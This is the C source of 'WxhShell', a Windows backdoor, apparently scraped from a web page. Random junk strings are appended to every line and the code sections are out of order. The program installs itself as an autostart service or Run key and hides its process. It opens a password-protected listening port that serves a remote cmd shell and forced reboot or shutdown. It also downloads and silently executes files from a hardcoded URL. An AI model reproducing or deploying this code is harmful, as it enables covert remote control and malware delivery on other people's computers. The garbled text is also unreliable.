    if(Boot(SHUTDOWN)) _[SW89zk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W"MwpV  
    else { {$5?[KD  
    closesocket(wsh); > yk2  
    ExitThread(0); ?%K7IJ%  
    } }]VFLBl`w  
    break; dTcrJ|/Y  
    } C+tB$yahO  
  // 获取shell 2)cq!Zv  
  case 's': { bh V.uBH  
    CmdShell(wsh); #2{H!jr  
    closesocket(wsh); i-Er|u; W  
    ExitThread(0); 3V2dN )\  
    break; D;nm~O%  
  } Okxuhzn>"  
  // 退出 F5s Pd  
  case 'x': { v!~tX*q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AYb-BaIc  
    CloseIt(wsh); a/p} ?!\  
    break; Q#M@!&  
    } Pr|BhX  
  // 离开 $z[FL=h)?+  
  case 'q': { kMd1)6%6A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &&SA/;F  
    closesocket(wsh); bYt [/K,  
    WSACleanup(); 0[E}[{t`  
    exit(1); K;)(fc  
    break; J;8M. _  
        } !W2dMD/  
  } A~0eJaq+  
  } lFJDdf2:$C  
'ip2|UG  
  // 提示信息 (+aU,EQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P]cC2L@Vbi  
} bSJ@ 5qS  
  } '/O >#1  
^W#161&  
  return; Z/G`8|A  
} `|&#=hl~  
7F$G.LhMw  
// shell模块句柄 2;2FyKF(  
int CmdShell(SOCKET sock) Iy[TEB  
{ h$`zuz  
STARTUPINFO si; 05SK$ Y<<  
ZeroMemory(&si,sizeof(si)); h[*:\P`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F .h A.E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v=8sj{g3,3  
PROCESS_INFORMATION ProcessInfo; HAKB@h)  
char cmdline[]="cmd"; "@ 1+l&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FW=`Fm@z%%  
  return 0; ?cur}`  
} !a9`]c  
4J5 RtK  
// 自身启动模式 .30eO_msK  
int StartFromService(void) 1buVV]*~  
{ !94qF,#1  
typedef struct nY M2Vxi0+  
{ ){}1u ?  
  DWORD ExitStatus; H6/n  
  DWORD PebBaseAddress; KATu7)e&~^  
  DWORD AffinityMask; SB x<-^  
  DWORD BasePriority; ks19e>'5Q  
  ULONG UniqueProcessId; (pv6V2i  
  ULONG InheritedFromUniqueProcessId; }z,f8Yz  
}   PROCESS_BASIC_INFORMATION; ,azBk`$iQr  
v{r,Wy3  
PROCNTQSIP NtQueryInformationProcess; Ah :d2*SR4  
[ikW3 '99,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yt+d f0l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [x[ nTIg  
;)Fc@OXN>  
  HANDLE             hProcess; $Cnv]1%  
  PROCESS_BASIC_INFORMATION pbi; X+7@8)1(  
Qo\+FkhYq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1[:tiTG|C  
  if(NULL == hInst ) return 0; &*j# [6  
 Q'~3Ik  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [6cF#_)*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lY$9-Q(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;s\ck:Xg  
^!A@:}t>  
  if (!NtQueryInformationProcess) return 0; /0 2-0mNv  
;Z6ngS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B>r>z5  
  if(!hProcess) return 0; sD=iHO Am  
[cso$Tv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6^vz+oN  
~{cG"  
  CloseHandle(hProcess); >xCc#]v&  
AFdBf6/" i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +yd{-iH  
if(hProcess==NULL) return 0; B%(-UTQf  
| Kw}S/F  
HMODULE hMod; rO[ Zx'a  
char procName[255];  Uys[0n  
unsigned long cbNeeded; ~5:-;ZbZ  
bIy:~z5   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _z6" C8W  
0#: St  
  CloseHandle(hProcess); wOV}<.W  
k#"}oI{< 6  
if(strstr(procName,"services")) return 1; // 以服务启动 :{=2ih-}  
\5DOp-2  
  return 0; // 注册表启动  ovsI2  
} K<E|29t^k  
-'Oq.$Qq  
// 主模块 N$! Vm(S  
int StartWxhshell(LPSTR lpCmdLine) q?$<{Z"  
{ } m&La4E  
  SOCKET wsl; ~y" ^t@!E  
BOOL val=TRUE; !SAR/sdXf  
  int port=0; >Pwu>  
  struct sockaddr_in door; ? t_$C,A+  
:9]"4ktoJ  
  if(wscfg.ws_autoins) Install(); 5Y#~+Im=[@  
>5MHn@  
port=atoi(lpCmdLine); <G60R^o  
:O9i:Xq[QW  
if(port<=0) port=wscfg.ws_port; 'Ivr =-  
Yq0jw&v  
  WSADATA data; Evt&N)l!^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4fL/,j/^  
`VXC*A   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r0:I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u(C?\HaH  
  door.sin_family = AF_INET; #,;X2%c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #xNXCBl]O  
  door.sin_port = htons(port); \9%RY]TK3  
ICm/9Onh&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `KHP?lX  
closesocket(wsl); JXAH/N& i  
return 1; (( {4)5}  
} XAb-K?)   
\[Q*d  
  if(listen(wsl,2) == INVALID_SOCKET) { /2Qgg`^)  
closesocket(wsl); Zp_vv@s  
return 1; EL:Az~]V  
} q-D|96>8  
  Wxhshell(wsl); vN$j @h .  
  WSACleanup(); ;S}_/'  
=*=qleC3  
return 0; Zd <8c^@  
IgNL1KRD  
} dFzlcKFFD  
aP`V  
// 以NT服务方式启动 A[Pz&\@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w<jlE8u  
{ @R s3i;"W  
DWORD   status = 0; =x-@-\m  
  DWORD   specificError = 0xfffffff; 50HRgoP5Y  
$zD}hO9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I3" GGp3L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xO<Uz"R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &\ \)x.!  
  serviceStatus.dwWin32ExitCode     = 0; *Ry{}|_8  
  serviceStatus.dwServiceSpecificExitCode = 0; 8j jq)d4#  
  serviceStatus.dwCheckPoint       = 0; W8Aii'Q8C/  
  serviceStatus.dwWaitHint       = 0; wJ>2}  
&!KW[]i%9}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 69JC!du  
  if (hServiceStatusHandle==0) return; *c' hmA s  
X~> 2iL  
status = GetLastError(); I7} o>{  
  if (status!=NO_ERROR) %bZ}vJ5b  
{ m)"wd$O^w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <Kt;uu>  
    serviceStatus.dwCheckPoint       = 0; "Oq>i9v;|$  
    serviceStatus.dwWaitHint       = 0; gvy c(d  
    serviceStatus.dwWin32ExitCode     = status; 6+ C7vG`  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~spfQV~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [fl^1!3{  
    return; SJsRHQ  
  } PNG!q}(c  
L0EF CQ7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5|Hz$oU  
  serviceStatus.dwCheckPoint       = 0; rFU|oDF  
  serviceStatus.dwWaitHint       = 0; /p7-D;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `uLH3sr  
} Qv/Kbw N{  
6R';[um?q  
// 处理NT服务事件,比如:启动、停止 d'*:2;)g^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (f>~+-IL  
{ qb?9i-(  
switch(fdwControl) rBrJTF:.  
{ d,*#yzO  
case SERVICE_CONTROL_STOP: zqs|~W]c  
  serviceStatus.dwWin32ExitCode = 0; 25 m!Bf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; > ?<C+ZHh  
  serviceStatus.dwCheckPoint   = 0; Bv(c`JE~;  
  serviceStatus.dwWaitHint     = 0; >Qold7 M  
  { .F@0`*#rE~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CI~ll=9`  
  } WbH#@]+DN  
  return; .wJv_  
case SERVICE_CONTROL_PAUSE: RqE|h6/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .E&-gXJ4  
  break; :8jaW?~  
case SERVICE_CONTROL_CONTINUE: <imIgt|`2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &0*IN nlc?  
  break; BZ"+ ND9m_  
case SERVICE_CONTROL_INTERROGATE: 1PnWgu  
  break; 61=D&lb  
}; -1<*mbb0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6y}|IhX?z  
} 7<7 /NZ<I  
2SlOqH1  
// 标准应用程序主函数 XXA1%Lw%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oY8S-N;(t  
{ 9~6)u=4sS"  
N_eZz#);  
// 获取操作系统版本 c0Oc-,6J  
OsIsNt=GetOsVer(); j_Q kw ?   
GetModuleFileName(NULL,ExeFile,MAX_PATH); C,#FH}  
X0e#w?  
  // 从命令行安装 ?/ Cl  
  if(strpbrk(lpCmdLine,"iI")) Install(); |)+; d  
N;.}g*_+}  
  // 下载执行文件 i{5,mS&  
if(wscfg.ws_downexe) { r'~^BLT`#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kt\#|-{CH-  
  WinExec(wscfg.ws_filenam,SW_HIDE); T~JE.Y3B3  
} 1@vlbgLr@  
/`vn/X^?^  
if(!OsIsNt) { NB[(O#  
// 如果时win9x,隐藏进程并且设置为注册表启动 L-QzC<[F/  
HideProc(); ;!H|0sv  
StartWxhshell(lpCmdLine); b$k|D)_|  
} Cp[ NVmN  
else j& ~`wGM  
  if(StartFromService()) Kb5 YA  
  // 以服务方式启动 M^3pJ=;5  
  StartServiceCtrlDispatcher(DispatchTable); qt{{q  
else 'mR9Uqq\  
  // 普通方式启动 v cZg3:j  
  StartWxhshell(lpCmdLine); :UDT! 5FNO  
2!E@Gbhm5  
return 0; E"[h20`\/  
} JOvRU DZ  
<C6*-j1oz  
w] =q>p  
s+l3]Hd  
=========================================== (M,IgSn9  
F|3iKK022  
6x8P}?  
~L7@,d:  
** !  
Gn7P` t*.  
" mpysnKH  
= gbB)u-Pc  
#include <stdio.h> xQK;3b  
#include <string.h> 9/_F  
#include <windows.h> \n`)>-  
#include <winsock2.h> o2 vBY]Tj  
#include <winsvc.h> !Ey=  
#include <urlmon.h> ^qP}/H[QT  
32KL~32Y  
#pragma comment (lib, "Ws2_32.lib") 4<{]_S6"0y  
#pragma comment (lib, "urlmon.lib") i9 Tq h  
W`2Xn?g  
#define MAX_USER   100 // 最大客户端连接数 Y&JK*d  
#define BUF_SOCK   200 // sock buffer n13#}i {tm  
#define KEY_BUFF   255 // 输入 buffer "x P2GZ  
wSwDhOX=  
#define REBOOT     0   // 重启 YN>k5\M_v  
#define SHUTDOWN   1   // 关机 MrGq{,6C  
>*FHJCe  
#define DEF_PORT   5000 // 监听端口 @;K-@*k3  
 s%c>Ge  
#define REG_LEN     16   // 注册表键长度 4T<4Rb[  
#define SVC_LEN     80   // NT服务名长度 JX!@j3  
&3t[p=  
// 从dll定义API 3j2#'Jf|:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $VRVM Y [q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WXzSf.8p|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dW`!/OaQD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GL<u#[  
-fILXu  
// wxhshell配置信息 01^+HEbm  
struct WSCFG { ]/klKqz  
  int ws_port;         // 监听端口 q*E<~!jL  
  char ws_passstr[REG_LEN]; // 口令 xq<3*Bcw  
  int ws_autoins;       // 安装标记, 1=yes 0=no d$}z,~sN  
  char ws_regname[REG_LEN]; // 注册表键名 *eLKD_D`!C  
  char ws_svcname[REG_LEN]; // 服务名 X@ j.$0 eK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k6b0&il  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @V>BG8Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?0%3~E`l:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1O{(9nNj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8uZM%7kI6+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fKYR DGn  
_b)=ERBbCo  
}; *`g'*R  
{#o0vWS>  
// default Wxhshell configuration p6Ie?Gg  
struct WSCFG wscfg={DEF_PORT, -)Zp"  
    "xuhuanlingzhe", Uzzt+Iwm  
    1, R5KOai!  
    "Wxhshell", yJRqX]MLA  
    "Wxhshell", xB<^ar  
            "WxhShell Service", q<Sb>M/\,  
    "Wrsky Windows CmdShell Service", NZW)$c'  
    "Please Input Your Password: ", .%x%b6EI  
  1, :Ou[LF.O  
  "http://www.wrsky.com/wxhshell.exe", b:6NVHb%  
  "Wxhshell.exe" N3rq8Rk  
    }; T>cO{I  
Am @o}EC  
// 消息定义模块 Xvr7qowL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4v?}K   
char *msg_ws_prompt="\n\r? for help\n\r#>"; `k]2*$%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n;+`%;6  
char *msg_ws_ext="\n\rExit."; )d$FFTH  
char *msg_ws_end="\n\rQuit."; 5z~O3QX  
char *msg_ws_boot="\n\rReboot..."; )nM<qaI{  
char *msg_ws_poff="\n\rShutdown..."; XTro;R=#  
char *msg_ws_down="\n\rSave to "; uGW!~qAr*  
49?wEm#  
char *msg_ws_err="\n\rErr!"; 0` y*7.Ip  
char *msg_ws_ok="\n\rOK!"; FJCLK#-  
JOUZ"^v  
char ExeFile[MAX_PATH]; mQka?_if)  
int nUser = 0; z9qF<m  
HANDLE handles[MAX_USER]; d"0=.sA  
int OsIsNt; 5ca!JLs  
CAT{)*xc  
SERVICE_STATUS       serviceStatus; $c0<I59&|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N7 ox#=g  
hC D6  
// 函数声明 ,%X"Caz  
int Install(void); LuE0Hb"S8  
int Uninstall(void); F +Dke>j  
int DownloadFile(char *sURL, SOCKET wsh); >.o<}!FW  
int Boot(int flag); W Yo>Md 8  
void HideProc(void); ~4V-{-=0a7  
int GetOsVer(void); fG_<HJS(~  
int Wxhshell(SOCKET wsl); 4Wk`P]?^  
void TalkWithClient(void *cs); ya'Ma<4  
int CmdShell(SOCKET sock); r"&uW !~0  
int StartFromService(void); R}E$SmFg  
int StartWxhshell(LPSTR lpCmdLine); &y&pjo6v1  
h2P&<ggqX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o5;|14O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O/b1^ Y   
?[#4WH-G  
// 数据结构和表定义 m>{I>:sq  
SERVICE_TABLE_ENTRY DispatchTable[] = \f-@L;8#  
{ <Eu/f`8  
{wscfg.ws_svcname, NTServiceMain}, JH+uBZh6  
{NULL, NULL} w/, A@fLL  
}; 8I]rC<O6:  
VoC|z Rd_  
// 自我安装 6c[Slq!KA  
int Install(void) ZU68\cL  
{ 8O| w(z  
  char svExeFile[MAX_PATH]; =v(&qh9Q2  
  HKEY key; HXb^K  
  strcpy(svExeFile,ExeFile); k!0vpps  
E|"QYsi.Ck  
// 如果是win9x系统,修改注册表设为自启动 9 Eqv^0u  
if(!OsIsNt) { <El!,UBq<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qE*hUzA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Txa 2`2t7  
  RegCloseKey(key); AvZO R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %zYTTPLZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xFA+Zj BC  
  RegCloseKey(key); 5h [<!f=  
  return 0; R q .2  
    } ,X)/ T!ff  
  } 4K0Fc^-  
} ?W\KIp \Kn  
else { <~hx ~"c  
_+ERX[i  
// 如果是NT以上系统,安装为系统服务 #}+_Hy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'byao03  
if (schSCManager!=0) *]>~lO1  
{ :4x&B^,53  
  SC_HANDLE schService = CreateService ow4|GLU^;  
  ( %4x,^ K]  
  schSCManager, Ij?Qs{V  
  wscfg.ws_svcname, d;g]OeF  
  wscfg.ws_svcdisp, S9E<)L  
  SERVICE_ALL_ACCESS, tpQ8 m(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }*|aVBvU  
  SERVICE_AUTO_START, ZK`x(h{p)  
  SERVICE_ERROR_NORMAL, bW2Msv/H  
  svExeFile, #&Fd16ov  
  NULL, T~naAP  
  NULL, Z|BOuB^   
  NULL, 9Idgib&  
  NULL, o@qI!?p&  
  NULL `^: v+!  
  ); F> b<t.yV  
  if (schService!=0) %:.IG.`d  
  { q9B5>Ye)  
  CloseServiceHandle(schService); kf1 (  
  CloseServiceHandle(schSCManager); &G aI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v%)=!T ,  
  strcat(svExeFile,wscfg.ws_svcname); , L5.KwB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]D@y""{--s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J@RV^2  
  RegCloseKey(key); ?MD\\gN  
  return 0; uWkuw5;  
    } "9OOyeKu%  
  } v03 ^  
  CloseServiceHandle(schSCManager); ;5:3 =F>ao  
} =`t%p1   
} \ocC'FmE  
lTJM}K  
return 1; U(\ ^!S1  
} n:[LsbTk  
7!q.MOYm  
// 自我卸载 ka<rlh<h  
int Uninstall(void) fvM|Jb  
{ vqRW^>~-B  
  HKEY key; e$4l[&kH_  
g.x]x #BC  
if(!OsIsNt) { eXCH*vZY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bdyIt)tK+  
  RegDeleteValue(key,wscfg.ws_regname); @\Yu?_a  
  RegCloseKey(key); V3[>^ZCA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jm3iYR+,  
  RegDeleteValue(key,wscfg.ws_regname); y2@8?  
  RegCloseKey(key); Ombvp;  
  return 0; h"(HDnq  
  } }O8#4-E_Ji  
} Os)}kkja  
} D1~3 3;  
else { ;mXw4_{  
B'KZ >jO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YvPs   
if (schSCManager!=0) !po29w:S  
{ j6&7tK,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J0yo@O  
  if (schService!=0) i]IZ0.?Y  
  { bEl)/z*gy/  
  if(DeleteService(schService)!=0) { q6zKyOE  
  CloseServiceHandle(schService); h9j/mUwV  
  CloseServiceHandle(schSCManager); u =|A  
  return 0; fMIKA72>{  
  } r8vF I6J  
  CloseServiceHandle(schService); bS*oFm@u  
  } r&D&xsbQ  
  CloseServiceHandle(schSCManager); Gu\lV c  
} c{cJ>d 0  
} vY(xH>Fd  
xyRZ v]K1  
return 1; Z{ b($po  
} ?iaD;:'qE  
S1W(]%0/  
// 从指定url下载文件 -{a&Zkz>V  
int DownloadFile(char *sURL, SOCKET wsh) ['_G1_p  
{ Hbi2amfBu  
  HRESULT hr; #AUa'qB t  
char seps[]= "/"; < c[dpK5c  
char *token;  ^6Y:9+  
char *file; '>"-e'1m(  
char myURL[MAX_PATH]; 5:~BGK&{Y  
char myFILE[MAX_PATH]; m'ykDK\B  
c!=^C/5Ee  
strcpy(myURL,sURL); &HYs^|ydrr  
  token=strtok(myURL,seps); L }&$5KiwV  
  while(token!=NULL) wEJ?Y8  
  { ($Y6hn+  
    file=token; y w>T1  
  token=strtok(NULL,seps); "ju0S&  
  } R{A$hnhW6  
%SD=3UK6  
GetCurrentDirectory(MAX_PATH,myFILE); %2TjG  
strcat(myFILE, "\\"); U#1 ,]a\  
strcat(myFILE, file); 06~HVv  
  send(wsh,myFILE,strlen(myFILE),0); 4O'X+dv^I  
send(wsh,"...",3,0); u7kw/_f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); psZ #^@>mJ  
  if(hr==S_OK) H| 1O>p&  
return 0; Z}4 `y"By  
else Hm55R  
return 1; l*z.20^P  
>6"u{Qmr  
} q$ 6Tb  
-P|st;?#  
// 系统电源模块 WZJ}HHePr  
int Boot(int flag) I:G4i}mA  
{ L/n?1'he  
  HANDLE hToken; 2q ,> *B?  
  TOKEN_PRIVILEGES tkp; `+O7IyTM A  
q+Cq&|4 ?2  
  if(OsIsNt) { o$_,2$>mn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }0?\H)/edP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B M$+r(#t  
    tkp.PrivilegeCount = 1; `t~Zkb4>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gw)>i45 :  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [Oy5Td7[  
if(flag==REBOOT) { &p#$}tm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PK<+tIm\  
  return 0; p!xCNZ(m  
} +nT(>RJR  
else { O5eTkKUc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E/_I$<,_y  
  return 0; XUp'wP  
} zVU{jmS  
  } 1y($h<  
  else { /vLdm-4  
if(flag==REBOOT) { N9A#@c0O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2[qlEtvQ  
  return 0;  +*aZ9g  
} d~U}IMj  
else { x[5uz))  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~E tW B  
  return 0; I>(\B|\6  
} vMB`TpZ  
} Wy`ve~y  
lboi\GP|  
return 1; rW(<[2vg  
} V O= o)H\  
 rr=e  
// win9x进程隐藏模块 pZg}7F{$  
void HideProc(void) nD51,1>  
{ UfWn\*J&k  
O>H'o k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CFU'- #b  
  if ( hKernel != NULL ) P 4|p[V8  
  { GnzKDDH '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ')mR87  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jA}b=c  
    FreeLibrary(hKernel); yhpeP  
  } p\ }Ep  
vz-O2B_u  
return; byTTLs,}d  
} (7Q Fy  
?|;q=p`t-  
// 获取操作系统版本 vRQ7=N{3  
int GetOsVer(void) ',Q|g^rF]  
{ "$Mz>]3&q  
  OSVERSIONINFO winfo; Z.D O 2=+=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uVn"'p-  
  GetVersionEx(&winfo); $)O=3dNbo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q&RezHK l  
  return 1; C6T?D5  
  else T7bD t  
  return 0; b&j}f  
} RU_wr<  
9_  
// 客户端句柄模块 +xc1cki_{  
int Wxhshell(SOCKET wsl) 0<";9qN)6  
{ C@3`n;yZ=  
  SOCKET wsh; _vV3A3|Ec,  
  struct sockaddr_in client; Qmg2lP.)  
  DWORD myID; ^f%hhpV@  
Sb& $xWL  
  while(nUser<MAX_USER) y9xvGr[l  
{ >3Mzs AH\  
  int nSize=sizeof(client); y`|86` Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,&5\`  
  if(wsh==INVALID_SOCKET) return 1; R#^.8g)t  
[PW\l+i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %A^V@0K3  
if(handles[nUser]==0) 15X.gx  
  closesocket(wsh); 7B)m/%>3s  
else 1z5Oi u  
  nUser++; ;#Y'SK  
  } ?;0w1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7a_tT;f;  
3Hd~mfO\  
  return 0; Y*Ra!]62  
} hRwj-N%C  
\QvoL  
// 关闭 socket -+ha4JOB  
void CloseIt(SOCKET wsh) ,ut-Di=6  
{ CVt:tV  
closesocket(wsh);  nLD1j  
nUser--; z *FCd6X  
ExitThread(0); cM hBOm*  
} E;tEmGf6F  
y2{uEbA  
// 客户端请求句柄 !jTtMx  
void TalkWithClient(void *cs) [  ^S(SPL  
{ :2zga=)g  
N|@jHx y  
  SOCKET wsh=(SOCKET)cs; o^ zrF  
  char pwd[SVC_LEN]; y9)w(y !  
  char cmd[KEY_BUFF]; pv[Gg^  
char chr[1]; !Soz??~o/  
int i,j; je`Ysben  
JJZu%9~[  
  while (nUser < MAX_USER) { >2t.7UhDI  
d2a*xDkv  
if(wscfg.ws_passstr) { YLsOA`5X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2if7|o$=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zo| '  
  //ZeroMemory(pwd,KEY_BUFF); h4#y'E!,Z  
      i=0; F(?O7z"d  
  while(i<SVC_LEN) { -Lhq.Q*a  
qeUT]* w  
  // 设置超时 QJ,[K _  
  fd_set FdRead; 5(=5GkE)>  
  struct timeval TimeOut; 9,wD  
  FD_ZERO(&FdRead); XU y[l  
  FD_SET(wsh,&FdRead); e~U]yg5X-  
  TimeOut.tv_sec=8; ZQk!Ia7  
  TimeOut.tv_usec=0; M '#a.z%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TT@ U_^o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _1,hO?TK  
2z9s$tp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "P9(k>  
  pwd=chr[0]; PS}'LhZ  
  if(chr[0]==0xd || chr[0]==0xa) { KcvstC`  
  pwd=0; l+A)MJd oj  
  break; xfa-   
  } 4`GOBX1b.y  
  i++; ~NMx:PP  
    } TtQ'I}7q  
({OQ JBC  
  // 如果是非法用户,关闭 socket " vka7r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XkPE%m_5D  
} = ;cTm5d;T  
7tbY>U8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vc0LV'lmg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uc>":V  
Uv m:`e~?  
while(1) { ZXIw^!8@/  
oo\7\b#Jx  
  ZeroMemory(cmd,KEY_BUFF); $<QrV,T  
g\% Z+Dc  
      // 自动支持客户端 telnet标准   AU1U?En  
  j=0; E|vXM"zFl  
  while(j<KEY_BUFF) { [=BccT:b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U4.$o ]58  
  cmd[j]=chr[0]; IIG9&F$G  
  if(chr[0]==0xa || chr[0]==0xd) { f DwK5?  
  cmd[j]=0; ,v%' 2[}  
  break; @y'0_Y0-B  
  } u4h0s1iI  
  j++; ^)y8X.iO  
    } Y b=77(Q V  
*4ido?  
  // 下载文件 RH.qbPjx  
  if(strstr(cmd,"http://")) { 5-hnk' ~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e }Mf  
  if(DownloadFile(cmd,wsh)) r7,}"Pl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e\em;GTy  
  else .* )e24`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .P <3+  
  } A;<wv>T  
